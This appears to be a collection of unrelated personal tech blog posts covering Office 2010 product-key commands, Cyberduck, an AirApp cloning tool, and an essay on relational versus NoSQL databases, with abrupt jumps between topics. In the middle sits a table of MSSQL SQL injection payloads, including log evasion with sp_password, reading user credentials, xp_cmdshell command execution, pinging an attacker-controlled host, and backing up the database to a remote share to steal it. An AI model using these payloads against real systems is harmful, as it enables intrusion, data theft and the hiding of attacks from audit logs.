Looks like the product has not received updates in awhile and I’ve been trying to find a key recently of my office installation so that I can migrate the install to a new fusion VM.

For starters we can determine the last 5 digits of a product key default in the office application.

:command prompt
\program files\microsoft office\office14\
cscript ospp.vbs /dstatus
::Last 5 characters of installed product key: XXXXX

Alternately we can completely change the product key
:regedit
HKLM\Software\Microsoft\Office\<version>\Registration
Expand the registration key, you will find different keys for the office suites looking like {XXX}
In each one of these look for DigitalProductID and ProductID, delete them, close registry restart the office apps and you will be prompted for a new key.

In office 2010 you can also change the key via the command line, this is new, 2 ways of doing so.
Option 1) Add/Remove programs, locate office, change, new product key (yawnnnnn)
Option 2) Instead of /dstatus argument for OSPP.VBS use /inpkey:XXXXX-XXXX-XXXX (key value)

Not just that but it’s free – everyone’s favorite price! Take a look at Cyberduck http://cyberduck.ch/ They also have a version out for Windows.

I’m really happy to see Google Docs support since i’ve been actively using it and trying to find the right place to organize and sort my docs directories.

An application has been written by Chris Deely named AirAppDuplicator
Download it here

Get started by clicking download and then on AirAppDuplicator.AIR package. Proceed past the warnings to install and trust this product (at your own risk). When the application has finished installing right click to run as Administrator if your in Windows to get the Air Apps to clone, you will only have to do this once.

Last step, navigate to the directory path of the application you want to duplicate, in my case it was Tweetdeck located in c:\program files (x86)\tweetdeck on my windows 7 machine and click to clone. What actually happens is AirAppDuplicator will copy the directory to a similar directory appending 2 at the end of the name.

I haven’t run into any issues yet with multiple instances and i’m not the author of the application. Use at your own risk!

Payload Description (if any)
‘admin –sp_password sp_traceXXX audit evasion. The sp_password prevents storing clear text passwords in the log files. Appending this after your comments (–) can prevent SQL Injection queries being logged.
select @@version View database version.
select @@servername Misc. information disclosure
select @@microsoftversion Misc. information disclosure
select * from master..sysservers Misc. information disclosure
select * from sysusers View database usernames and passwords.
exec master..xp_cmdshell ‘ipconfig+/all’ Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell ‘net+view’ Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell ‘net+users’ Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell ‘ping+system-controlled-by-attacker’ Misc. command execution with cp_cmdshell – this is useful for blind SQL Injection tests (where no results are displayed).
BACKUP database master to disks=’\\{IP}\{sharename}\backupdb.dat’ Backup entire database to a file. This attack can be used to steal a database.
create table myfile (line varchar(8000))” bulk insert foo from ‘c:\inetpub\wwwroot\auth.asp’” select * from myfile”– Reading files on the filesystem.
xp_servicecontrol (START or STOP) Start and stop Windows Services.
str1 + str2 OR n+n Concat strings for blind SQL Injection tests.

I haven’t submitted any recent articles into Posterous but I feel that it might be long due for a refresh.

Most of my recent work went into noneil.wordpress.com and gatheringclouds.com.
Speaking about content sites and communities, visit me on focus.com, quora.co,  linkedin answers, serverfault, stackoverflow

And Twitter!!

These are my playgrounds.

I enjoy meeting new people.

Media pushes the technology, trend setting as if it were a fashion.

Content is king and it produces the wealth of your business, with that said success of content driven site increasing traffic.  Once traffic starts to rise and continues to spike the success has a liability of its content always being available. P. Diddy said it… “More Money, More Problems”
The battle begins, tackling performance, questions about security and reliability, how will things scale and most important always being online up and running.

Your infrastructure is as important as the content you’re driving, providing the foundation of what will be resilient and sustainable today and tomorrow helps peace of mind so that you can focus on your business.

Now getting into things, open source has taken the lead in the media industry and every web developer knows open source, commonly referred to as the LAMP stack for this discussion and with many reiterations since the initial launch what was then LAMP may now be called PLAM or perhaps you have heard CMS, or NOSQL in the mix.

Databases
Heart and soul of your content, the first of which come to mind are referred to as RDBMS. Relational Database Management Systems, most commonly used MSSQL, MySQL & Oracle.
They are noted as the mainframe dinosaurs of the business they get the job done, they are committed, highly supported and most commonly used having earned their ‘Street Cred’ as being trusted.  That trust is best noted through financial transactions with the key point in mind “No Transactions Lost”. A strong argument can be made from this YouTube link.

Have you heard of 10gen? Take a look at Wikipedia listing of Open Source Database Management Systems.

MongoDB – Currently leading the “NoSQL” database revolution, scalability and high performance.  Don’t believe it? Take a look at some of their clients here. Foursquare, SourceForge, The New York Times, Gilt Groupe & Thrillist just to name a few, the list grows every day.

Apache Casandra – Similar to MongoDB it’s scalable, High Performance and Proven.  Facebook, Twitter, Reddit just to name a few of CassandraDB’s customers.
What are your thoughts on NoSQL have you recently made a shift in the migration?
Since the 70s relational databases is that still the right thing for you?